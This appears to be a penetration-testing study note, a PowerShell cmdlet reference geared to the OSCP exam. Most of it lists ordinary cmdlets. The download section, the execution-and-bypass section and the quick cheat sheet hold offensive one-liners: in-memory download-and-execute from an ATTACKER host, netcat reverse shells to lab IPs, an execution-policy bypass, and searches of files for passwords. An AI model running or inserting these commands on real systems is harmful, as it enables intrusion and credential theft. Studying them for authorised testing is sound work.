PowerShell Cmdlets

PowerShell Cmdlets — Reference Hub

External: Internal All The Things — PowerShell Cheatsheet

Overview

PowerShell cmdlets follow Verb-Noun naming (Get-Process, Set-Content). This hub covers OSCP-relevant cmdlets, common parameters that apply to almost all cmdlets, and links to specialized notes.

Discover everything installed: Get-Command lists thousands of cmdlets — you cannot memorize all. Learn patterns + this cheat sheet.

Get-Command                          # All cmdlets
Get-Command -Name *AD*               # AD module
Get-Command -Verb Get                # All Get-* cmdlets
Get-Command -Noun Process            # *-Process
Get-Help Get-Process -Full           # Full help + parameters
Get-Help Get-Process -Parameter Name # Specific parameter
Update-Help                          # Download help (online)

Specialized notes: gci · Active Directory Cmdlets · PowerView · net user

---

📌 1) Common Parameters (All Cmdlets)

These work on most cmdlets:

Parameter	Alias	Description
-Verbose	-vb	Extra detail
-Debug	-db	Debug stream
-ErrorAction	-ea	SilentlyContinue, Stop, Continue, Inquire
-ErrorVariable	-ev	Store errors in variable
-WarningAction	-wa	Same as ErrorAction for warnings
-InformationAction	-ia	Control info messages
-OutVariable	-ov	Save output to variable
-PipelineVariable	-pv	Mid-pipeline variable
-WhatIf	-wi	Simulate only
-Confirm	-cf	Prompt before action

Get-ChildItem C:\ -Recurse -ErrorAction SilentlyContinue
Get-Process -Name lsass -ErrorAction Stop

---

📌 2) File & Directory

Cmdlet	Alias	Purpose
Get-ChildItem	gci, ls, dir	List files — see gci
Get-Content	gc, cat, type	Read file
Set-Content	sc	Write text to file
Add-Content	ac	Append to file
Copy-Item	cpi, copy	Copy
Move-Item	mi, move	Move/rename
Remove-Item	ri, rm, del	Delete
New-Item	ni	Create file/folder
Test-Path	—	Path exists?
Resolve-Path	—	Resolve wildcards
Select-String	sls	Grep files for pattern

Get-ChildItem C:\Users -Recurse -Force -Include *.config,*.xml -ErrorAction SilentlyContinue
Get-Content C:\Windows\Panther\Unattend.xml
Get-ChildItem C:\ -Recurse -Include *.txt,*.ps1 -EA 0 | Select-String -Pattern "password"
Test-Path C:\Windows\Temp\shell.exe
Copy-Item \\ATTACKER\share\tool.exe C:\Temp\

---

📌 3) Download / Upload (File Transfer)

Method	Command
WebClient	(New-Object Net.WebClient).DownloadFile('http://IP/file','C:\Temp\file')
WebClient string	(New-Object Net.WebClient).DownloadString('http://IP/script.ps1')
Invoke-WebRequest	Invoke-WebRequest -Uri 'http://IP/file' -OutFile 'C:\Temp\file'
IWR short	iwr http://IP/file -OutFile C:\Temp\file
BITS	Start-BitsTransfer -Source http://IP/file -Destination C:\Temp\file
certutil	See certutil

# WinPEAS / tool download (common OSCP)
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://ATTACKER:8080/winPEASx64.exe', 'C:\Temp\winPEAS.exe')"
powershell -c "Invoke-WebRequest -Uri 'http://ATTACKER:8080/winPEASx64.exe' -OutFile 'C:\Temp\winPEAS.exe'"
powershell -c "IWR http://ATTACKER:8080/winPEASx64.exe -OutFile C:\Temp\winPEAS.exe"
 
# In-memory execution
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1')
IEX (IWR -Uri 'http://ATTACKER/script.ps1' -UseBasicParsing).Content

See File Transfer, Privesc Tools.

Invoke-WebRequest common flags

Parameter	Description
-Uri	URL
-OutFile	Save to path
-Method	GET, POST, PUT, DELETE
-Headers @{}	Hashtable of headers
-Body	POST body
-Credential	PSCredential
-UseBasicParsing	No IE dependency (Server Core)
-SkipCertificateCheck	Ignore SSL (PS 7+)
-Proxy	Proxy URL
-UserAgent	Custom UA

---

📌 4) Process & Service

Cmdlet	Purpose
Get-Process	Running processes
Stop-Process	Kill process
Start-Process	Run program
Get-Service	Services
Start-Service / Stop-Service	Control services
Get-WmiObject Win32_Process	WMI process list
Get-CimInstance Win32_Process	CIM (newer)

Get-Process
Get-Process | Where-Object {$_.ProcessName -like "*sql*"}
Get-Process lsass | Select-Object Id, ProcessName
Get-Service | Where-Object {$_.Status -eq 'Running'}
Start-Process -FilePath C:\Temp\winPEAS.exe -Wait -NoNewWindow

→ tasklist and Get-Process · LSASS

---

📌 5) User, Group & Computer (Local)

Cmdlet	Purpose
Get-LocalUser	Local accounts
Get-LocalGroup	Local groups
Get-LocalGroupMember	Group members
New-LocalUser	Create local user
Add-LocalGroupMember	Add to local group

Get-LocalUser
Get-LocalGroupMember -Group Administrators

Domain: use net user or Active Directory Cmdlets.

---

📌 6) Network

Cmdlet	Purpose
Test-NetConnection	Ping + port test (Test-Connection)
Get-NetIPAddress	IP config
Get-NetRoute	Routing table
Get-NetTCPConnection	Listening connections (like netstat)
Resolve-DnsName	DNS lookup

Test-NetConnection 10.10.10.10 -Port 445
Get-NetTCPConnection -State Listen
Get-NetIPAddress | Where-Object {$_.AddressFamily -eq 'IPv4'}
Resolve-DnsName dc.corp.local

---

📌 7) Registry

Cmdlet	Purpose
Get-ItemProperty	Read registry values
Get-Item	Registry key / file / cert object
Set-ItemProperty	Write registry
New-Item	Create key
Remove-Item	Delete key/value

Get-Item -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\ADSync'   # Service key object
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer'  # AlwaysInstallElevated

More one-off registry/service snippets → PowerShell Snippets (e.g. AD Sync - service and miiserver enum)

External cmdlet wiki → PowerShell Snippets > 📌 External references (detailed Windows / PowerShell wikis) · SS64 PowerShell

---

📌 8) Credential & Security

Cmdlet	Purpose
Get-Credential	Prompt for creds → PSCredential
ConvertTo-SecureString	Plain → SecureString
ConvertFrom-SecureString	SecureString export
[System.Security.Principal.WindowsIdentity]::GetCurrent()	Current user identity
whoami /all	Still works in PS

$cred = Get-Credential
Get-ADUser -Filter * -Server DC01 -Credential $cred

---

📌 9) Object Manipulation (Pipeline)

Cmdlet	Purpose
Select-Object	Pick columns — Select Name, Length
Where-Object	Filter — Where {$_.Length -gt 1MB}
Sort-Object	Sort
Group-Object	Group
Measure-Object	Count/sum
ForEach-Object	% — loop
Export-Csv	Export CSV
ConvertTo-Json	JSON output
Out-File	Write to file
Tee-Object	Output + save

Get-Process | Sort-Object CPU -Descending | Select-Object -First 10
Get-ChildItem C:\ -Recurse -EA 0 | Where-Object {$_.Extension -eq '.config'}

---

📌 10) Active Directory (Domain)

Full reference → Active Directory Cmdlets

Quick list:

Cmdlet	Purpose
Get-ADUser	Domain users
Get-ADComputer	Domain computers
Get-ADGroup	Groups
Get-ADGroupMember	Group membership
Get-ADDomain	Domain info
Get-ADForest	Forest info
Get-ADTrust	Trusts

Offensive alternative → PowerView

---

📌 11) Execution & Bypass

Topic	Notes
-ExecutionPolicy Bypass	Run scripts when policy is Restricted — use on every unfamiliar box
-EncodedCommand / -enc	Base64 encoded command
-WindowStyle Hidden	Hidden window
-Command / -c	Single command — run cmd.exe via nc, one-liners
Bypass-4MSI	evil-winrm AMSI bypass
Import-Module	Load .ps1 module
. .\script.ps1	Dot-source script

ExecutionPolicy Bypass

powershell -ExecutionPolicy Bypass
powershell -ExecutionPolicy Bypass -File C:\Temp\script.ps1
powershell -ExecutionPolicy Bypass -Command "whoami"
powershell -ep bypass -File script.ps1    # short form

Use when running downloaded .ps1 tools, WinPEAS, or in evil-winrm sessions.

Run cmd.exe from PowerShell (reverse shell / scheduled task)

Launch cmd as the child process — common for nc.exe -e cmd when raw cmd quoting breaks:

powershell -ExecutionPolicy Bypass -c "C:/Windows/Temp/nc.exe 192.168.45.236 80 -e cmd"

# PowerShell-native equivalent
powershell -ep bypass -c "C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"

Quoted for schtasks / cron / XML (outer single quotes, inner double):

'powershell -c "C:/Windows/Temp/nc.exe 192.168.45.236 80 -e cmd"'

Forward slashes in path often work in PowerShell: C:/Windows/Temp/nc.exe

→ Shell · Netcat · powercat · schtasks

powershell -ExecutionPolicy Bypass -File script.ps1
powershell -enc BASE64CMD

See evil-winrm, Windows PrivEsc.

---

📌 12) How to Learn Any Cmdlet

Get-Command *keyword*
Get-Help Verb-Noun -Full
Get-Help Verb-Noun -Examples
Get-Help Verb-Noun -Parameter Filter

Online: Get-Help shows syntax; Microsoft docs for edge cases.

---

📌 Quick Cheat Sheet

# Enum
Get-ChildItem -Force -Recurse -EA 0
Get-Process | Sort CPU -Desc | Select -First 10
Get-Service | ? Status -eq Running
Get-LocalGroupMember Administrators
Get-NetTCPConnection -State Listen
Select-String -Path *.config -Pattern password -Recurse
 
# Download tool
IWR http://ATTACKER:8080/winPEASx64.exe -OutFile C:\Temp\w.exe
(New-Object Net.WebClient).DownloadFile('http://ATTACKER:8080/tool.exe','C:\Temp\tool.exe')
 
# AD (domain-joined)
Import-Module ActiveDirectory
Get-ADUser -Filter * | Select SamAccountName
Get-ADGroupMember "Domain Admins"

---

Related Tools

• gci
• Active Directory Cmdlets
• PowerView
• net user
• certutil
• powercat
• evil-winrm
• File Transfer

Related Notes

• Windows CMD - Powershell Commands
• Windows PrivEsc
• Active Directory
• Privesc Tools
• Shells
• Training